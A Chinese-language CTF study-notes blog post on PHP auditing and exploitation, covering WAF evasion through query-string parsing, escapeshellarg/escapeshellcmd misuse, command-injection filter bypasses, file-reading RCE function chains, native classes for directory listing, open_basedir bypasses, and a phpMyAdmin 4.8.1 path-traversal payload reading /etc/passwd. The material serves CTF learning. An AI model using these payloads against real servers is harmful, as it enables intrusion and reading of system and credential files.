PHP-way

本文最后更新于:1 年前

PHP相关方法/问题

PHP代码审计

弱类型比较

https://blog.csdn.net/baidu_41871794/article/details/83750615

前端过滤

前端过滤–变量名前加空格–PHP解析时先将变量的空格去除

为什么要在num前加一个空格?

答:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

PHP的字符串解析特性是什么?

答: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
【当waf不让你过的时候,php却可以让你过】

—[RoarCTF 2019]Easy Calc](https://opn90.top/2021/10/21/BUU/#RoarCTF-2019-Easy-Calc)

常见函数绕过

escapeshellarg与escapeshellcmd使用不当

escapeshellarg

先对单引号进行转义,再进行分段单引号闭合

escapeshellarg一把字符串转码为可以在shell 命令里使用的参数

例:

将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

经过 escapeshellarg 函数处理过的参数被拼凑成 shell 命令,并且被双引号包裹这样就会造成漏洞,这主要在于bash中双引号和单引号解析变量是有区别的

在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用

escapeshellcmd

escapeshellcmd——shell 元字符转义

CVE-2016-10045 escapeshellarg与escapeshellcmd使用不当

分析详细过程:

标注出处:http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

标注出处:https://paper.seebug.org/164/


命令执行(暂)

管道符 |

  • 多命令执行符
    ; 执行完前面的语句再执行后面的语句
    | 显示后面语句的执行结果
    || 当前面的语句执行出错时,执行后面的语句
    & 如果前面的语句为假则执行后面的语句,前面的语句可真可假
    && 如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真

查询字符过滤

cat   
tac  
more  
less  
head  
tail  
nl  
tailf
sed  
sort  
uniq  
rev  

空格(space)过滤

{cat,flag.txt}
${IFS}
$IFS$9
<
<>
%0a (换行)
%0d(回车)
%00
%09
%20

解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离

系统函数过滤

system()
exec()
passthru()
shell_exec()
``

[GXYCTF2019]Ping Ping Ping](https://opn90.top/2021/10/21/BUU/#GXYCTF2019-Ping-Ping-Ping)

ls过滤用dir

变量拼接

base64编码

特殊字符的使用

反斜线

ca\t 后面的\t会成为 TAB 而绕过

重定向符 <>

cat<>flag

单引号、双引号

c””at fl’’ag

$1、$2和$@

c$1at gh$@twf01.txt

通配符???

/???/?at flag

内敛执行绕过

`命令`和$(命令)都是执行命令的方式

echo “xxpwd

echo “xx$(pwd)”

linux中换行

或运算


RCE

常用函数

scandir() 读取目录

file_get_contents()/highlight_file()/show_source() 读文件

localeconv() 返回一包含本地数字及货币格式信息的数组

current()/pos() 函数返回数组中的当前元素(单元),默认取第一个值

array_reverse() 接受数组array作为输入并返回一个单元为相反顺序的新数组

array_flip() 交换数组的键和值

array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回

next() 指向当前数组的下一个元素

常用方法

var_dump(scandir(/)) 读取根目录

pos(localeconv()) 返回一个.

show_source(array_reverse(scandir(pos(localeconv())))) 返回当前目录下的最后一个文件

show_source(array_rand(array_flip(scandir(current(localeconv()))))) 随机读取文件


原生类的应用

完整博客:https://blog.csdn.net/cjdgg/article/details/115314651

PHP 原生文件操作类

可遍历目录类

可遍历目录类

DirectoryIterator 
FilesystemIterator 
GlobIterator 

DirectoryIterator

提供了一个用于查看文件系统目录内容的简单接口
该类的构造方法将会创建一个指定目录的迭代器

创建一个指定目录的迭代器。当执行到echo函数时,
会触发DirectoryIterator类中的 __toString() 方法,
输出指定目录里面经过排序之后的第一个文件名

<?php  
$dir = new DirectoryIterator("/");
echo $dir;

输出全部的文件名我们还需要对$dir对象进行遍历

<?php 
$dir= new DirectoryIterator("/");
foreach($dir as $f)
{
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

FilesystemIterator

一个用于查看文件系统目录内容的简单接口
该类的构造方法将会创建一个指定目录的迭代器

//利用方法同 DirectoryIterator

<?php  
$dir = new FilesystemIterator("/");
echo $dir;

<?php 
$dir= new FilesystemIterator("/");
foreach($dir as $f)
{
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

GlobIterator

使用方法与前两个类也基本相似
但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径

<?php  
$dir = new GlobIterator("/*flag*");
echo $dir;

使用可遍历目录类绕过 open_basedir

使用 DirectoryIterator 类

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件

<?php 
$dir = $_GET['aaa'];
$a = new DirectoryIterator($dir);
foreach($dir as $f)
{
    echo $f;
}
?>

# payload 一句话形式
$aaa = new DirectoryIterator("glob:///*");
foreach($a as $f){echo $f;}
使用 GlobIterator 类

由于使用 GlobIterator 类支持直接通过模式匹配来寻找文件路径,所以我们就不用配合glob://协议了

<?php 
$dir = $_GET['aaa'];
$a = new GlobIterator($dir);
foreach($dir as $f)
{
    echo $f;
}
?>

# payload 一句话形式
$aaa = new GlobIterator("/*");
foreach($a as $f){echo $f;}

可读取文件类

SplFileObject

SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

该类的构造方法可以构造一个新的文件对象用于后续的读取

//读取文件的一行

<?php      
$content = new SplFileObject('/flag');
echo $content;

//遍历出文件

<?php      
$content = new SplFileObject('/flag');
foreach($content as $f)
{
    echo $f;
}

open_basedir() 绕过

1.原生类绕过

仅可用于读取根目录、当前目录
(不清楚为什么…)

使用 DirectoryIterator 类 + glob://协议
使用 GlobIterator 类 + glob://协议

2.ini_set() + 相对路径

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复

(1)首先需要构造一个相对可上跳的open_basedir

(创建目录时需注意权限问题)

mkdir('opn');
chdir('opn');
ini_set('open_basedir','..');

这也是为什么要先创文件夹的原因,就是为了在当前目录构造可以..的ini_set

(2)然后每次目录操作
chdir('..');
(3)设置根目录下的open_basedir
ini_set('open_basedir','/');
mkdir('opn');
chdir('opn');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');

从PHP底层看open_basedir bypass – sky

3.shell命令执行


PHP版本漏洞

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

https://www.xiinnn.com/article/e7c68814.html

https://www.abelche.com/2019/11/16/CVE/phpmyadmin%204.8.1%20%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2018-12613%EF%BC%89/

https://blog.csdn.net/weixin_43872099/article/details/104128639

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!